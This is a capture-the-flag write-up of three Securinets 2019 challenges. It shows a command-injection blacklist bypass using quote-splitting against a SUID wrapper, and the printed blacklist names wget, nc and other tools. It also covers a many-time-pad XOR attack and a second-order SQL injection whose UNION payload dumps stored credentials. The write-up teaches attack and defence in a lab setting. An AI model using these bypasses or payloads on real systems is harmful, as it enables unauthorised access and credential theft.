Securinets Prequals 2019

There were 3 challenges that I found really interesting -

Welcome, because after getting the flag, I realised that the method I took was probably...not the right one.

Useless Admin, while crib-dragging is a huge pain to execute as one has to guess words that are present in the plain text, attacking the 12 cipher texts provided with https://github.com/Jwomers/many-time-pad-attack actually brought me far closer to the answer.

SQL Injected demonstrated that one can still perform SQL injection if user inputs are not sanitised properly.

Welcome

This challenge dropped us into a SSH session with the goal of executing welcome.

$ ls -l
total 40
-r-------- 1 welcome-cracked welcome-cracked    76 Mar 23 20:23 flag.txt
-r-------- 1 welcome-cracked welcome          8712 Mar 23 19:09 welcome
-rw-r----- 1 root            root              175 Mar 23 12:27 welcome.c
-r-s--x--- 1 welcome-cracked welcome         13088 Mar 23 20:13 wrapper
-rw-r--r-- 1 root            root             1741 Mar 23 20:13 wrapper.c

A few things are evident from this

  • The binary we're supposed to execute has no execute permission
  • Start with wrapper

So wrapper seems to execute commands as welcome-cracked because of the SUID bit - wrapper.c indicates that it just clobbers any blacklisted strings that are found in a input string, then executes the input string as evident from:

$ ./wrapper
Welcome to Securinets Quals CTF o/
Enter string:
cat ./wrapper.c
sh: 1: ./wrapper.c: Permission denied

Since cat is a blacklisted word, the command cat ./wrapper.c becomes ./wrapper.c.

wrapper.c:
...

void main(int argc, char* argv[])
{
char * blacklist[]={"cat","head","less","more","cp","man","scp","xxd","dd","od","python","perl","ruby","tac","rev","xz","tar","zip","gzip","mv","flag","txt","python","perl","vi","vim","nano","pico","awk","grep","egrep","echo","find","exec","eval","regexp","tail","head","less","cut","tr","pg","du","`","$","(",")","#","bzip2","cmp","split","paste","diff","fgrep","gawk","iconv","ln","most","open","print","read","{","}","sort","uniq","tee","wget","nc","hexdump","HOSTTYPE","$","arch","env","tmp","dev","shm","lock","run","var","snap","nano","read","readlink","zcat","tailf","zcmp","zdiff","zegrep","zdiff"};


 char str[80], word[50];
    int index;
    printf("Welcome to Securinets Quals CTF \o/ \n");
    printf("Enter string:\n");
    read(0,str,79);
for (int i=0;i<sizeof(blacklist)/sizeof(blacklist[0]);i++)
{
    index = search(str, blacklist[i]);

    if (index !=  - 1)
    {
        delete_word(str, blacklist[i], index);
    }

}
setreuid(geteuid(),geteuid());
close(0);
system(str);
}

Is there a way to break this? It turns out that the very helpful list at https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command Injection does give us a (or actually multiple) way:

Bypass blacklisted word with single quote
w'h'o'am'i

Whoops. With that, I can just dump flag.txt:

$ ./wrapper
Welcome to Securinets Quals CTF o/
Enter string:
c'a't f'l'ag.t'x't
securinets{who_needs_exec_flag_when_you_have_linker_reloaded_last_time!!!?}
sh: 2: me: not found

Which just begs for the question - what exactly is the intended solution?

Useless Admin

This challenge gives us 12 cipher texts - all of them XORed with the same key stream. The usual solution is to perform crib-dragging, but most tools only support working on 2 cipher texts at a time. This script allowed taking advantage of the 12 cipher texts and actually spat out something useful:

* *anted to ind t** y*rl*, but i'*l*settle for endin* ****s.

This string was used to attack another cipher text:

At which point, a quick google search

Gave me the flag Securinet{i wanted to end the world, but i'll settle for ending yours.}

I wonder if existing tools could be made smarter... many of the options presented could be ruled out easily eg options that contain multiple symbols between alphanumeric characters.

SQL Injected

The source code was provided for the challenge. A quick search for all the queries showed that although prepared statements were not used (seriously use them), the inputs were at first glance escaped properly.

register.php

$username = mysqli_real_escape_string($conn, $_POST['username']);
        $password = mysqli_real_escape_string($conn, $_POST['password']);
        $sql = "INSERT INTO users (login, password, role) VALUES ('". $username ."', '". $password ."', 0)";
index.php:

$post = mysqli_real_escape_string($conn, $_POST['post']);
        $title = mysqli_real_escape_string($conn, $_POST['title']);
        $sql = "INSERT INTO posts (title, content, date, author) VALUES ('". $title ."', '". $post ."', CURDATE(), '". $_SESSION['username'] ."')";

...

$sql = "SELECT * FROM posts WHERE author = '". mysqli_real_escape_string($conn, $_POST['post_author']) ."'";

...

$sql = "SELECT * FROM posts WHERE author = '". $_SESSION['username'] ."'";
login.php:

$username = mysqli_real_escape_string($conn, $_POST['username']);
    $password = mysqli_real_escape_string($conn, $_POST['password']);
    $sql = "SELECT * FROM users WHERE login='". $username ."' and password='". $password ."'";

At this point, I was seriously wondering if this was actually an SQL injection challenge. The line ps: i don't like the task's name in the challenge  did not help either :(

At this point makuga in the Discord channel had a tip: since we were given the code, modify it to print all queries ran, then play with it and examine the queries closely. This turned out to be the most useful tip.

Note in the code snippets above that all the variables passed to SQL statements are escaped, except for one: $_SESSION['username']. I thus focused on that:

Upon registration, the app logs you in immediately. The escaped username is stored into $_SESSION['username'], preventing any injection.

However, something interesting happens when you log out then back in again:

It appears that upon login (registration does not go through this step), the unescaped username is retrieved from the database and saved to $_SESSION['username']. I finally have an attack vector!

login.php:

$username = mysqli_real_escape_string($conn, $_POST['username']);
    $password = mysqli_real_escape_string($conn, $_POST['password']);
    $sql = "SELECT * FROM users WHERE login='". $username ."' and password='". $password ."'";
    $res = $conn->query($sql);
    if($res->num_rows > 0) {
        $user = $res->fetch_assoc();
        $_SESSION['username'] = $user['login'];
        $_SESSION['role'] = $user['role'];

...

So a while ago I asked my self "Given this situation, what could you actually do?" The obvious thing to do is to terminate the existing SQL query and inject a full new SQL statement, for example, injecting '; SELECT * FROM users;#. However, it turns out that to prevent exactly this scenario, query by default only executes one query and throws an error if more than one are present.

With this in mind, what could I actually do then? The obvious thing to do is to somehow create an account with role=1 or change my account role. However, with the above constraint, there is no way to change the users table.

The next best thing I could do is to dump the users table and hope to find an account with role=1.

My chosen payload was ' UNION select login, password, 321, role from users#. This, when combined with

$sql = "SELECT * FROM posts WHERE author = '". mysqli_real_escape_string($conn, $_POST['post_author']) ."'";

results in the query

SELECT * FROM posts WHERE author = '' UNION select login, password, 321, role from users#

which displays user credentials in the place of posts.

It turns out that hey, there is an account with role=1!

With that,

Lesson learnt? Prepared statements. There is absolutely no reason not to use them.